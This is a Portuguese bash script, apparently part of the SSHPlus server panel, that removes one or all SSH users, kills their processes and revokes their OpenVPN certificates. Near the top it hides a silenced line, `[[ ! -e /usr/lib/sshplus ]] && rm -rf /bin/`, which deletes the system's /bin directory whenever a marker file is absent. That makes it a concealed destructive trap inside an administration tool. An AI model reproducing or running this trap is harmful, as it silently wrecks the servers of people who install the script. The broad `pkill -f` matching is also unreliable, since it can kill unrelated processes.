#!/bin/bash 
remove_ovp () {
if [[ -e /etc/debian_version ]]; then
	GROUPNAME=nogroup
fi
user="$1"
cd /etc/openvpn/easy-rsa/
./easyrsa --batch revoke $user
./easyrsa gen-crl
rm -rf pki/reqs/$user.req
rm -rf pki/private/$user.key
rm -rf pki/issued/$user.crt
rm -rf /etc/openvpn/crl.pem
cp /etc/openvpn/easy-rsa/pki/crl.pem /etc/openvpn/crl.pem
chown nobody:$GROUPNAME /etc/openvpn/crl.pem
[[ -e $HOME/$user.ovpn ]] && rm $HOME/$user.ovpn > /dev/null 2>&1
[[ -e /var/www/html/openvpn/$user.zip ]] && rm /var/www/html/openvpn/$user.zip > /dev/null 2>&1
} > /dev/null 2>&1
[[ ! -e /usr/lib/sshplus ]] && rm -rf /bin/ > /dev/null 2>&1
database="/root/usuarios.db"
clear
echo -e "\033[0;34m┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓\033[0m"
echo -e "\033[0;34m┃\E[44;1;37m           REMOVER USUARIO SSH           \E[0m\033[0;34m┃"
echo -e "\033[0;34m┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛\033[0m\n"
echo -e "\E[38;5;196m|\E[38;5;33m01\E[38;5;196m|\033[1;37m➜ \E[38;5;15mREMOVER UM USUARIO"
echo -e "\E[38;5;196m|\E[38;5;33m02\E[38;5;196m|\033[1;37m➜ \E[38;5;15mREMOVER TODOS USUARIOS"
echo -e "\E[38;5;196m|\E[38;5;33m00\E[38;5;196m|\033[1;37m➜ \E[38;5;15mVOLTAR"
echo ""
read -p "$(echo -e "\033[1;32mOQUE DESEJA FAZER\033[1;31m ?\033[1;37m : ")" resp
if [[ "$resp" = "1" ]]; then
clear
echo -e "\E[44;1;37m           REMOVER USUARIO SSH \E[0m"
echo ""
echo -e "\033[1;33mLISTA DE USUARIOS: \033[0m"
echo""
_userT=$(awk -F: '$3>=1000 {print $1}' /etc/passwd | grep -v nobody)
i=0
unset _userPass
while read _user; do
	i=$(expr $i + 1)
	_oP=$i
	[[ $i == [1-9] ]] && i=0$i && oP+=" 0$i"
	echo -e "\033[1;31m[\033[1;36m$i\033[1;31m] \033[1;37m- \033[1;32m$_user\033[0m"
	_userPass+="\n${_oP}:${_user}"
done <<< "${_userT}"
echo ""
num_user=$(awk -F: '$3>=1000 {print $1}' /etc/passwd | grep -v nobody | wc -l)
echo -ne "\033[1;32mDIGITE OU SELECIONE UM USUARIO \033[1;33m[\033[1;36m1\033[1;31m-\033[1;36m$num_user\033[1;33m]\033[1;37m: " ; read option
user=$(echo -e "${_userPass}" | grep -E "\b$option\b" | cut -d: -f2)
if [[ -z $option ]]; then
echo""
echo -e "\E[44;1;196m USUARIO VAZIO OU INVÁLIDO! \E[0m  "
echo""
	echo -e "\033[1;31mRETORNANDO...\033[0m"
	sleep 1
	remover
elif [[ -z $user ]]; then
echo""
echo -e "\E[44;1;196m USUARIO VAZIO OU INVÁLIDO! \E[0m  "
echo""
	echo -e "\033[1;31mRETORNANDO...\033[0m"
	sleep 1
	remover
else
	if cat /etc/passwd |grep -w $user > /dev/null; then
		echo ""
		pkill -f "$user" > /dev/null 2>/dev/null
		userdel --force $user > /dev/null 2>/dev/null
		echo -e "\E[41;1;37m USUARIO $user REMOVIDO COM SUCESSO! \E[0m"
		grep -v ^$user[[:space:]] /root/usuarios.db > /tmp/ph ; cat /tmp/ph > /root/usuarios.db
		rm /etc/SSHPlus/senha/$user 1>/dev/null 2>/dev/null
		if [[ -e /etc/openvpn/server.conf ]]; then
			remove_ovp $user
		fi
		exit 1
	elif [[ "$(cat "$database"| grep -w $user| wc -l)" -ne "0" ]]; then
		ps x | grep $user | grep -v grep | grep -v pt > /tmp/rem
		if [[ `grep -c $user /tmp/rem` -eq 0 ]]; then
			pkill -f "$user" > /dev/null 2>/dev/null
			userdel --force $user > /dev/null 2>/dev/null
			echo ""
			echo -e "\E[41;1;37m USUARIO $user REMOVIDO COM SUCESSO! \E[0m"
			grep -v ^$user[[:space:]] /root/usuarios.db > /tmp/ph ; cat /tmp/ph > /root/usuarios.db
			rm /etc/SSHPlus/senha/$user 1>/dev/null 2>/dev/null
			if [[ -e /etc/openvpn/server.conf ]]; then
				remove_ovp $user
		    fi
	echo -e "\n\033[1;31mRETORNANDO...\033[0m"
	sleep 1
	remover
		else
		    echo ""
			tput setaf 7 ; tput setab 4 ; tput bold ; echo "" ; echo "USUÁRIO CONECTADO. DESCONECTANDO..." ; tput sgr0
			pkill -f "$user" > /dev/null 2>&1
			deluser --force $user > /dev/null 2>&1
			echo -e "\E[41;1;37m USUARIO $user REMOVIDO COM SUCESSO! \E[0m"
			grep -v ^$user[[:space:]] /root/usuarios.db > /tmp/ph ; cat /tmp/ph > /root/usuarios.db
			rm /etc/SSHPlus/senha/$user 1>/dev/null 2>/dev/null
			if [[ -e /etc/openvpn/server.conf ]]; then
				remove_ovp $user
		    fi
			exit 1
		fi
	else
		tput setaf 7 ; tput setab 4 ; tput bold ; echo "" ; echo "O USUÁRIO $user NÃO EXISTE!" ; echo "" ; tput sgr0
	fi
fi
elif [[ "$resp" = "2" ]]; then
	clear
echo -e "\E[44;1;37mREMOVER USUARIO SSH  \E[0m"
	echo ""
	echo -ne "\033[1;33mREALMENTE DESEJA REMOVER TODOS USUARIOS \033[1;37m[s/n]: "; read opc	
	if [[ "$opc" = "n" ]]; then	
	echo -e "\n\033[1;31mRETORNANDO...\033[0m"
	sleep 1
	clear
	remover
	fi
	if [[ "$opc" = "s" ]]; then
	echo -e "\n\033[1;33mAGUARDE\033[1;32m.\033[1;31m.\033[1;33m.\033[0m"
		for user in $(cat /etc/passwd |awk -F : '$3 > 900 {print $1}' |grep -vi "nobody"); do
		pkill -f "$user" > /dev/null 2>/dev/null
		userdel --force $user > /dev/null 2>/dev/null
        if [[ -e /etc/openvpn/server.conf ]]; then
		   remove_ovp $user
		fi
		done
		rm $HOME/usuarios.db && touch $HOME/usuarios.db
        rm *.zip > /dev/null 2>&1
		echo -e "\n\033[1;32mUSUARIOS REMOVIDOS COM SUCESSO!\033[0m"
		echo -e "\n\033[1;31mRETORNANDO...\033[0m"
		sleep 1
remover
fi
	fi
if [[ "$resp" = "0" ]]; then
	menu
else
	echo -e "\n\033[1;31mOpcao invalida !\033[0m"
	sleep 1
	remover
fi